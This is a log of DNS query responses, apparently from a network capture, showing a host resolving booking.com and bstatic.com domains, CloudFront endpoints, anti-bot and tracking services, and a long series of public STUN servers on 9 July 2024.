Jul 9, 2024 00:43:36.000782967 CEST	1.1.1.1	192.168.2.6	0x6243	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:36.000782967 CEST	1.1.1.1	192.168.2.6	0x6243	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:36.536875010 CEST	1.1.1.1	192.168.2.6	0x9dbf	No error (0)	collector-pxikkul2rm.px-cloud.net		35.190.10.96	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:36.745490074 CEST	1.1.1.1	192.168.2.6	0xe5c6	No error (0)	account.booking.com	du1b3vb35hc0o.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:37.230829954 CEST	1.1.1.1	192.168.2.6	0xc264	No error (0)	account.booking.com	du1b3vb35hc0o.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:37.230829954 CEST	1.1.1.1	192.168.2.6	0xc264	No error (0)	du1b3vb35hc0o.cloudfront.net		13.226.34.77	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:37.230829954 CEST	1.1.1.1	192.168.2.6	0xc264	No error (0)	du1b3vb35hc0o.cloudfront.net		13.226.34.41	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:37.230829954 CEST	1.1.1.1	192.168.2.6	0xc264	No error (0)	du1b3vb35hc0o.cloudfront.net		13.226.34.71	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:37.230829954 CEST	1.1.1.1	192.168.2.6	0xc264	No error (0)	du1b3vb35hc0o.cloudfront.net		13.226.34.104	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:37.317945004 CEST	1.1.1.1	192.168.2.6	0x2e75	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:37.317945004 CEST	1.1.1.1	192.168.2.6	0x2e75	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:37.433510065 CEST	1.1.1.1	192.168.2.6	0xfa5e	No error (0)	collector-pxikkul2rm.px-cloud.net		35.190.10.96	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:38.431143045 CEST	1.1.1.1	192.168.2.6	0x1523	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:38.431155920 CEST	1.1.1.1	192.168.2.6	0x48cf	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:38.431155920 CEST	1.1.1.1	192.168.2.6	0x48cf	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.66.196.62	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:38.431155920 CEST	1.1.1.1	192.168.2.6	0x48cf	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.66.196.31	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:38.431155920 CEST	1.1.1.1	192.168.2.6	0x48cf	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.66.196.93	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:38.431155920 CEST	1.1.1.1	192.168.2.6	0x48cf	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.66.196.21	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:38.577317953 CEST	1.1.1.1	192.168.2.6	0x8cad	No error (0)	cdn.cookielaw.org		104.19.177.52	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:38.577317953 CEST	1.1.1.1	192.168.2.6	0x8cad	No error (0)	cdn.cookielaw.org		104.19.178.52	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:38.577863932 CEST	1.1.1.1	192.168.2.6	0xa520	No error (0)	cdn.cookielaw.org			65	IN (0x0001)	false
Jul 9, 2024 00:43:42.401130915 CEST	1.1.1.1	192.168.2.6	0x89f9	No error (0)	www.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:42.401130915 CEST	1.1.1.1	192.168.2.6	0x89f9	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:42.401130915 CEST	1.1.1.1	192.168.2.6	0x89f9	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.238.243.42	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:42.401130915 CEST	1.1.1.1	192.168.2.6	0x89f9	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.238.243.129	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:42.401130915 CEST	1.1.1.1	192.168.2.6	0x89f9	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.238.243.19	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:42.401130915 CEST	1.1.1.1	192.168.2.6	0x89f9	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.238.243.8	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:42.404016972 CEST	1.1.1.1	192.168.2.6	0x2e53	No error (0)	www.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:42.404016972 CEST	1.1.1.1	192.168.2.6	0x2e53	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:42.438549995 CEST	1.1.1.1	192.168.2.6	0xc0e0	No error (0)	saa.booking.com	bksweb-external-w.booking.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:42.438549995 CEST	1.1.1.1	192.168.2.6	0xc0e0	No error (0)	bksweb-external-w.booking.com	de2trjlt8e8rj.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:42.895992994 CEST	1.1.1.1	192.168.2.6	0xb63	No error (0)	saa.booking.com	bksweb-external-w.booking.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:42.895992994 CEST	1.1.1.1	192.168.2.6	0xb63	No error (0)	bksweb-external-w.booking.com	de2trjlt8e8rj.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:42.895992994 CEST	1.1.1.1	192.168.2.6	0xb63	No error (0)	de2trjlt8e8rj.cloudfront.net		18.164.96.49	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:42.895992994 CEST	1.1.1.1	192.168.2.6	0xb63	No error (0)	de2trjlt8e8rj.cloudfront.net		18.164.96.48	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:42.895992994 CEST	1.1.1.1	192.168.2.6	0xb63	No error (0)	de2trjlt8e8rj.cloudfront.net		18.164.96.23	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:42.895992994 CEST	1.1.1.1	192.168.2.6	0xb63	No error (0)	de2trjlt8e8rj.cloudfront.net		18.164.96.12	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:43.210624933 CEST	1.1.1.1	192.168.2.6	0x747a	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:43.210624933 CEST	1.1.1.1	192.168.2.6	0x747a	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:43.211668968 CEST	1.1.1.1	192.168.2.6	0xaa73	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:43.211668968 CEST	1.1.1.1	192.168.2.6	0xaa73	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:43.211668968 CEST	1.1.1.1	192.168.2.6	0xaa73	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.53	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:43.211668968 CEST	1.1.1.1	192.168.2.6	0xaa73	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.49	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:43.211668968 CEST	1.1.1.1	192.168.2.6	0xaa73	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.129	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:43.211668968 CEST	1.1.1.1	192.168.2.6	0xaa73	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.18	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:43.219935894 CEST	1.1.1.1	192.168.2.6	0x800f	No error (0)	q-xx.bstatic.com	xx.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:43.219935894 CEST	1.1.1.1	192.168.2.6	0x800f	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:43.219935894 CEST	1.1.1.1	192.168.2.6	0x800f	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:43.219935894 CEST	1.1.1.1	192.168.2.6	0x800f	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.238.243.19	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:43.219935894 CEST	1.1.1.1	192.168.2.6	0x800f	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.238.243.8	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:43.219935894 CEST	1.1.1.1	192.168.2.6	0x800f	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.238.243.129	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:43.219935894 CEST	1.1.1.1	192.168.2.6	0x800f	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.238.243.42	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:43.220621109 CEST	1.1.1.1	192.168.2.6	0xa5ba	No error (0)	q-xx.bstatic.com	xx.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:43.220621109 CEST	1.1.1.1	192.168.2.6	0xa5ba	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:43.220621109 CEST	1.1.1.1	192.168.2.6	0xa5ba	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:43.255156040 CEST	1.1.1.1	192.168.2.6	0xd647	No error (0)	account.booking.com	du1b3vb35hc0o.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:43.707278967 CEST	1.1.1.1	192.168.2.6	0x2a4d	No error (0)	account.booking.com	du1b3vb35hc0o.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:43.707278967 CEST	1.1.1.1	192.168.2.6	0x2a4d	No error (0)	du1b3vb35hc0o.cloudfront.net		13.226.34.41	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:43.707278967 CEST	1.1.1.1	192.168.2.6	0x2a4d	No error (0)	du1b3vb35hc0o.cloudfront.net		13.226.34.71	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:43.707278967 CEST	1.1.1.1	192.168.2.6	0x2a4d	No error (0)	du1b3vb35hc0o.cloudfront.net		13.226.34.104	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:43.707278967 CEST	1.1.1.1	192.168.2.6	0x2a4d	No error (0)	du1b3vb35hc0o.cloudfront.net		13.226.34.77	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:44.116648912 CEST	1.1.1.1	192.168.2.6	0x25fd	No error (0)	d8c14d4960ca.edge.sdk.awswaf.com		18.65.39.105	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:44.116648912 CEST	1.1.1.1	192.168.2.6	0x25fd	No error (0)	d8c14d4960ca.edge.sdk.awswaf.com		18.65.39.18	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:44.116648912 CEST	1.1.1.1	192.168.2.6	0x25fd	No error (0)	d8c14d4960ca.edge.sdk.awswaf.com		18.65.39.115	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:44.116648912 CEST	1.1.1.1	192.168.2.6	0x25fd	No error (0)	d8c14d4960ca.edge.sdk.awswaf.com		18.65.39.69	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:44.361892939 CEST	1.1.1.1	192.168.2.6	0x3586	No error (0)	t-cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:44.361892939 CEST	1.1.1.1	192.168.2.6	0x3586	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.66.196.21	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:44.361892939 CEST	1.1.1.1	192.168.2.6	0x3586	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.66.196.31	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:44.361892939 CEST	1.1.1.1	192.168.2.6	0x3586	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.66.196.62	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:44.361892939 CEST	1.1.1.1	192.168.2.6	0x3586	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.66.196.93	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:44.363039017 CEST	1.1.1.1	192.168.2.6	0x38e4	No error (0)	t-cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:44.363212109 CEST	1.1.1.1	192.168.2.6	0x6ca7	No error (0)	asanalytics.booking.com	h-doregtzf.online-metrix.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:44.369081020 CEST	1.1.1.1	192.168.2.6	0xb8d8	No error (0)	aa.online-metrix.net		91.235.132.129	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:44.379365921 CEST	1.1.1.1	192.168.2.6	0xef4b	No error (0)	nellie.booking.com	bksweb-external-w.booking.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:44.379365921 CEST	1.1.1.1	192.168.2.6	0xef4b	No error (0)	bksweb-external-w.booking.com	de2trjlt8e8rj.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:44.388519049 CEST	1.1.1.1	192.168.2.6	0xce1c	No error (0)	q-xx.bstatic.com	xx.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:44.388519049 CEST	1.1.1.1	192.168.2.6	0xce1c	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:44.388519049 CEST	1.1.1.1	192.168.2.6	0xce1c	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:44.388530970 CEST	1.1.1.1	192.168.2.6	0x7a78	No error (0)	q-xx.bstatic.com	xx.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:44.388530970 CEST	1.1.1.1	192.168.2.6	0x7a78	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:44.388530970 CEST	1.1.1.1	192.168.2.6	0x7a78	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:44.388530970 CEST	1.1.1.1	192.168.2.6	0x7a78	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.238.243.8	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:44.388530970 CEST	1.1.1.1	192.168.2.6	0x7a78	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.238.243.42	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:44.388530970 CEST	1.1.1.1	192.168.2.6	0x7a78	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.238.243.19	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:44.388530970 CEST	1.1.1.1	192.168.2.6	0x7a78	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.238.243.129	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:44.438606977 CEST	1.1.1.1	192.168.2.6	0xf0a	No error (0)	aa.online-metrix.net		91.235.132.129	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:44.816764116 CEST	1.1.1.1	192.168.2.6	0xab04	No error (0)	asanalytics.booking.com	h-doregtzf.online-metrix.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:44.816764116 CEST	1.1.1.1	192.168.2.6	0xab04	No error (0)	h-doregtzf.online-metrix.net		192.225.158.254	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:44.819236040 CEST	1.1.1.1	192.168.2.6	0xc75c	No error (0)	nellie.booking.com	bksweb-external-w.booking.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:44.819236040 CEST	1.1.1.1	192.168.2.6	0xc75c	No error (0)	bksweb-external-w.booking.com	de2trjlt8e8rj.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:44.819236040 CEST	1.1.1.1	192.168.2.6	0xc75c	No error (0)	de2trjlt8e8rj.cloudfront.net		18.164.96.48	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:44.819236040 CEST	1.1.1.1	192.168.2.6	0xc75c	No error (0)	de2trjlt8e8rj.cloudfront.net		18.164.96.12	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:44.819236040 CEST	1.1.1.1	192.168.2.6	0xc75c	No error (0)	de2trjlt8e8rj.cloudfront.net		18.164.96.49	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:44.819236040 CEST	1.1.1.1	192.168.2.6	0xc75c	No error (0)	de2trjlt8e8rj.cloudfront.net		18.164.96.23	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:45.530858994 CEST	1.1.1.1	192.168.2.6	0x4f40	No error (0)	saa.booking.com	bksweb-external-w.booking.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:45.530858994 CEST	1.1.1.1	192.168.2.6	0x4f40	No error (0)	bksweb-external-w.booking.com	de2trjlt8e8rj.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:46.023988962 CEST	1.1.1.1	192.168.2.6	0x3da0	No error (0)	saa.booking.com	bksweb-external-w.booking.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:46.023988962 CEST	1.1.1.1	192.168.2.6	0x3da0	No error (0)	bksweb-external-w.booking.com	de2trjlt8e8rj.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:46.023988962 CEST	1.1.1.1	192.168.2.6	0x3da0	No error (0)	de2trjlt8e8rj.cloudfront.net		18.164.96.48	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.023988962 CEST	1.1.1.1	192.168.2.6	0x3da0	No error (0)	de2trjlt8e8rj.cloudfront.net		18.164.96.23	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.023988962 CEST	1.1.1.1	192.168.2.6	0x3da0	No error (0)	de2trjlt8e8rj.cloudfront.net		18.164.96.12	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.023988962 CEST	1.1.1.1	192.168.2.6	0x3da0	No error (0)	de2trjlt8e8rj.cloudfront.net		18.164.96.49	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.024437904 CEST	1.1.1.1	192.168.2.6	0xecf6	No error (0)	d8c14d4960ca.d2eb2267.us-east-1.token.awswaf.com		18.244.18.18	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.024437904 CEST	1.1.1.1	192.168.2.6	0xecf6	No error (0)	d8c14d4960ca.d2eb2267.us-east-1.token.awswaf.com		18.244.18.10	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.024437904 CEST	1.1.1.1	192.168.2.6	0xecf6	No error (0)	d8c14d4960ca.d2eb2267.us-east-1.token.awswaf.com		18.244.18.94	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.024437904 CEST	1.1.1.1	192.168.2.6	0xecf6	No error (0)	d8c14d4960ca.d2eb2267.us-east-1.token.awswaf.com		18.244.18.55	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.218940020 CEST	1.1.1.1	192.168.2.6	0xa30d	No error (0)	ls.cdn-gw-dv.vip	all.cdn-gw-dv.vip.w.cdngslb.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:46.231873035 CEST	1.1.1.1	192.168.2.6	0x2660	No error (0)	stun.aa.net.uk	natisevil.aasip.co.uk		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:46.231873035 CEST	1.1.1.1	192.168.2.6	0x2660	No error (0)	natisevil.aasip.co.uk		81.187.30.115	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.231885910 CEST	1.1.1.1	192.168.2.6	0x8ac2	No error (0)	stun.acrobits.cz		85.17.88.164	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.232381105 CEST	1.1.1.1	192.168.2.6	0x4aeb	No error (0)	stun.12voip.com		77.72.169.210	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.232381105 CEST	1.1.1.1	192.168.2.6	0x4aeb	No error (0)	stun.12voip.com		77.72.169.212	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.232381105 CEST	1.1.1.1	192.168.2.6	0x4aeb	No error (0)	stun.12voip.com		77.72.169.211	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.232381105 CEST	1.1.1.1	192.168.2.6	0x4aeb	No error (0)	stun.12voip.com		77.72.169.213	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.232537031 CEST	1.1.1.1	192.168.2.6	0x1cd6	No error (0)	stun.antisip.com		94.23.17.185	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.232548952 CEST	1.1.1.1	192.168.2.6	0x8fad	No error (0)	stun.actionvoip.com		77.72.169.212	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.232548952 CEST	1.1.1.1	192.168.2.6	0x8fad	No error (0)	stun.actionvoip.com		77.72.169.211	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.232548952 CEST	1.1.1.1	192.168.2.6	0x8fad	No error (0)	stun.actionvoip.com		77.72.169.210	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.232548952 CEST	1.1.1.1	192.168.2.6	0x8fad	No error (0)	stun.actionvoip.com		77.72.169.213	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.232553959 CEST	1.1.1.1	192.168.2.6	0xf8ee	No error (0)	stun.1und1.de		212.227.67.34	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.232553959 CEST	1.1.1.1	192.168.2.6	0xf8ee	No error (0)	stun.1und1.de		212.227.67.33	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.232633114 CEST	1.1.1.1	192.168.2.6	0xf31d	No error (0)	stun.l.google.com		74.125.250.129	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.232644081 CEST	1.1.1.1	192.168.2.6	0x2093	No error (0)	stun.bluesip.net		217.74.179.29	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.232925892 CEST	1.1.1.1	192.168.2.6	0x5ece	No error (0)	stun.cablenet-as.net		213.140.209.236	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.233254910 CEST	1.1.1.1	192.168.2.6	0x19f5	No error (0)	stun.tel.lu		85.93.219.114	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.233900070 CEST	1.1.1.1	192.168.2.6	0x99a2	No error (0)	stun1.l.google.com		74.125.250.129	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.233995914 CEST	1.1.1.1	192.168.2.6	0xc83c	No error (0)	stun2.l.google.com		74.125.250.129	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.234006882 CEST	1.1.1.1	192.168.2.6	0xad3a	No error (0)	stun.telbo.com		77.72.169.211	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.234006882 CEST	1.1.1.1	192.168.2.6	0xad3a	No error (0)	stun.telbo.com		77.72.169.212	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.234006882 CEST	1.1.1.1	192.168.2.6	0xad3a	No error (0)	stun.telbo.com		77.72.169.210	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.234006882 CEST	1.1.1.1	192.168.2.6	0xad3a	No error (0)	stun.telbo.com		77.72.169.213	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.234078884 CEST	1.1.1.1	192.168.2.6	0x8325	No error (0)	stun4.l.google.com		74.125.250.129	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.234333992 CEST	1.1.1.1	192.168.2.6	0x90f8	No error (0)	stun.usfamily.net		64.131.63.217	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.234333992 CEST	1.1.1.1	192.168.2.6	0x90f8	No error (0)	stun.usfamily.net		64.131.63.216	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.234457016 CEST	1.1.1.1	192.168.2.6	0xbaf8	No error (0)	stun.twt.it		82.113.193.63	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.234761000 CEST	1.1.1.1	192.168.2.6	0x58af	No error (0)	stun.callromania.ro	stun.1und1.de		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:46.234761000 CEST	1.1.1.1	192.168.2.6	0x58af	No error (0)	stun.1und1.de		212.227.67.34	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.234761000 CEST	1.1.1.1	192.168.2.6	0x58af	No error (0)	stun.1und1.de		212.227.67.33	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.234800100 CEST	1.1.1.1	192.168.2.6	0xd3ca	No error (0)	stun.uls.co.za		154.73.34.8	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.234800100 CEST	1.1.1.1	192.168.2.6	0xd3ca	No error (0)	stun.uls.co.za		154.73.34.4	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.235213041 CEST	1.1.1.1	192.168.2.6	0x1d51	No error (0)	stun.l.google.com			28	IN (0x0001)	false
Jul 9, 2024 00:43:46.235332966 CEST	1.1.1.1	192.168.2.6	0xf919	No error (0)	stun.aa.net.uk	natisevil.aasip.co.uk		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:46.235416889 CEST	1.1.1.1	192.168.2.6	0x8ce9	No error (0)	stun3.l.google.com		74.125.250.129	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.235493898 CEST	1.1.1.1	192.168.2.6	0xacdc	No error (0)	stun.antisip.com			28	IN (0x0001)	false
Jul 9, 2024 00:43:46.235857010 CEST	1.1.1.1	192.168.2.6	0xcaf3	No error (0)	stun.callromania.ro	stun.1und1.de		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:46.236974955 CEST	1.1.1.1	192.168.2.6	0x4a18	No error (0)	stun4.l.google.com			28	IN (0x0001)	false
Jul 9, 2024 00:43:46.237274885 CEST	1.1.1.1	192.168.2.6	0x3a86	No error (0)	stun1.l.google.com			28	IN (0x0001)	false
Jul 9, 2024 00:43:46.237566948 CEST	1.1.1.1	192.168.2.6	0xe602	No error (0)	stun2.l.google.com			28	IN (0x0001)	false
Jul 9, 2024 00:43:46.253231049 CEST	1.1.1.1	192.168.2.6	0xfba0	No error (0)	stun3.l.google.com			28	IN (0x0001)	false
Jul 9, 2024 00:43:46.256078005 CEST	1.1.1.1	192.168.2.6	0xf3a0	No error (0)	stun.aa.net.uk	natisevil.aasip.co.uk		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:46.258369923 CEST	1.1.1.1	192.168.2.6	0xb819	No error (0)	stun.callromania.ro	stun.1und1.de		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:46.316550016 CEST	1.1.1.1	192.168.2.6	0xa306	No error (0)	booking.gw-dv.vip	def-eu.gw-dv.vip		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:46.316550016 CEST	1.1.1.1	192.168.2.6	0xa306	No error (0)	def-eu.gw-dv.vip	dedge-eu-elb-52e504904913708c.elb.eu-west-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:46.318114042 CEST	1.1.1.1	192.168.2.6	0x2b7a	No error (0)	booking.ck123.io	booking.gw-dv.vip		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:46.318114042 CEST	1.1.1.1	192.168.2.6	0x2b7a	No error (0)	booking.gw-dv.vip	def-eu.gw-dv.vip		CNAME (Canonical name)	IN (0x0001)	false
